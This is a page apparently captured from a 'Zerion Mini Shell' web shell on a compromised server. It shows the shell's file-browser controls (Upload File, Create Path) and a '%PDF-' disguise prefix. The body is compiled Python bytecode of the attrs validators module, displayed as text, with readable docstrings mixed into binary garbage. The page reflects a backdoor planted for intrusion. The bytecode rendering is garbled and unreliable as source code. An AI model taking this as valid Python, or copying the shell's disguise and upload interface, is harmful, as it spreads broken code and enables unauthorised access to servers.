%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/attr/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/attr/__pycache__/validators.cpython-37.pyc

B

#IGZ`�@s�dZddlmZmZmZddlmZmZmZm	Z	ddddd	gZ
e	d
ddd�Gd
d�de��Zdd�Z
e	d
ddd�Gdd�de��Zdd	�Ze	d
ddd�Gdd�de��Zdd�Ze	d
ddd�Gdd�de��Zdd�ZdS)z
Commonly useful validators.
�)�absolute_import�division�print_function�)�
_AndValidator�and_�attrib�attrsr�in_�instance_of�optional�providesFT)�repr�slots�hashc@s"eZdZe�Zdd�Zdd�ZdS)�_InstanceOfValidatorcCs4t||j�s0tdj|j|j|j|d�||j|��dS)zP
        We use a callable class to be able to change the ``__repr__``.
        z?'{name}' must be {type!r} (got {value!r} that is a {actual!r}).)�name�type�actual�valueN)�
isinstancer�	TypeError�formatr�	__class__)�self�inst�attrr�r�@/opt/alt/python37/lib/python3.7/site-packages/attr/validators.py�__call__s
z_InstanceOfValidator.__call__cCsdj|jd�S)Nz)<instance_of validator for type {type!r}>)r)rr)rrrr�__repr__$sz_InstanceOfValidator.__repr__N)�__name__�
__module__�__qualname__rrrr rrrrrs
rcCst|�S)a�
    A validator that raises a :exc:`TypeError` if the initializer is called
    with a wrong type for this particular attribute (checks are performed using
    :func:`isinstance` therefore it's also valid to pass a tuple of types).

    :param type: The type to check for.
    :type type: type or tuple of types

    :raises TypeError: With a human readable error message, the attribute
        (of type :class:`attr.Attribute`), the expected type, and the value it
        got.
    )r)rrrrr+s
c@s"eZdZe�Zdd�Zdd�ZdS)�_ProvidesValidatorcCs0|j�|�s,tdj|j|j|d�||j|��dS)zP
        We use a callable class to be able to change the ``__repr__``.
        z<'{name}' must provide {interface!r} which {value!r} doesn't.)r�	interfacerN)r%Z
providedByrrr)rrrrrrrr?s
z_ProvidesValidator.__call__cCsdj|jd�S)Nz0<provides validator for interface {interface!r}>)r%)rr%)rrrrr Ksz_ProvidesValidator.__repr__N)r!r"r#rr%rr rrrrr$;sr$cCst|�S)a
    A validator that raises a :exc:`TypeError` if the initializer is called
    with an object that does not provide the requested *interface* (checks are
    performed using ``interface.providedBy(value)`` (see `zope.interface
    <https://zopeinterface.readthedocs.io/en/latest/>`_).

    :param zope.interface.Interface interface: The interface to check for.

    :raises TypeError: With a human readable error message, the attribute
        (of type :class:`attr.Attribute`), the expected interface, and the
        value it got.
    )r$)r%rrrr
Rs
c@s"eZdZe�Zdd�Zdd�ZdS)�_OptionalValidatorcCs|dkrdS|�|||�dS)N)�	validator)rrrrrrrrfsz_OptionalValidator.__call__cCsdjt|j�d�S)Nz'<optional validator for {what} or None>)Zwhat)rrr')rrrrr lsz_OptionalValidator.__repr__N)r!r"r#rr'rr rrrrr&bsr&cCst|t�rtt|��St|�S)a�
    A validator that makes an attribute optional.  An optional attribute is one
    which can be set to ``None`` in addition to satisfying the requirements of
    the sub-validator.

    :param validator: A validator (or a list of validators) that is used for
        non-``None`` values.
    :type validator: callable or :class:`list` of callables.

    .. versionadded:: 15.1.0
    .. versionchanged:: 17.1.0 *validator* can be a list of validators.
    )r�listr&r)r'rrrrss
c@s"eZdZe�Zdd�Zdd�ZdS)�_InValidatorcCs&||jkr"tdj|j|j|d���dS)Nz/'{name}' must be in {options!r} (got {value!r}))r�optionsr)r*�
ValueErrorrr)rrrrrrrr�s
z_InValidator.__call__cCsdj|jd�S)Nz(<in_ validator with options {options!r}>)r*)rr*)rrrrr �sz_InValidator.__repr__N)r!r"r#rr*rr rrrrr)�sr)cCst|�S)a�
    A validator that raises a :exc:`ValueError` if the initializer is called
    with a value that does not belong in the options provided.  The check is
    performed using ``value in options``.

    :param options: Allowed options.
    :type options: list, tuple, :class:`enum.Enum`, ...

    :raises ValueError: With a human readable error message, the attribute (of
       type :class:`attr.Attribute`), the expected options, and the value it
       got.

    .. versionadded:: 17.1.0
    )r))r*rrrr
�sN)�__doc__Z
__future__rrr�_makerrrr	�__all__�objectrrr$r
r&rr)r
rrrr�<module>s&

Zerion Mini Shell 1.0